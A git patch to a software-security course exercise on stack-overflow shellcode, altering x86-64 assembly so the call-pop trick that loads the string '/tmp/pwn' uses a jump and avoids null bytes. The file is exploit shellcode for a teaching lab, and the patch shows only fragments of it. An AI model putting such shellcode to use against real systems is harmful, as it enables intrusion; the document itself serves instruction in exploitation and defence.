From b3ba6f0a8b947d47da89661105f5d582d2bc8e96 Mon Sep 17 00:00:00 2001 From: Yorick Barbanneauwq Date: Thu, 30 Mar 2023 01:24:39 +0200 Subject: [PATCH] Add jmp to avoid /0 --- .../td5-stackoverflow_shellcode/files/q3/shellcode.S | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S index 7c3816a..dc90d04 100644 --- a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S @@ -2,9 +2,7 @@ .globl _start _start: - call p - .asciz "/tmp/pwn" - + jmp indirect p: xorq %rdi, %rdi @@ -26,3 +24,7 @@ p: pop %rax lea -1(%rax), %rax syscall + +indirect: + call p + .asciz "/tmp/pwn"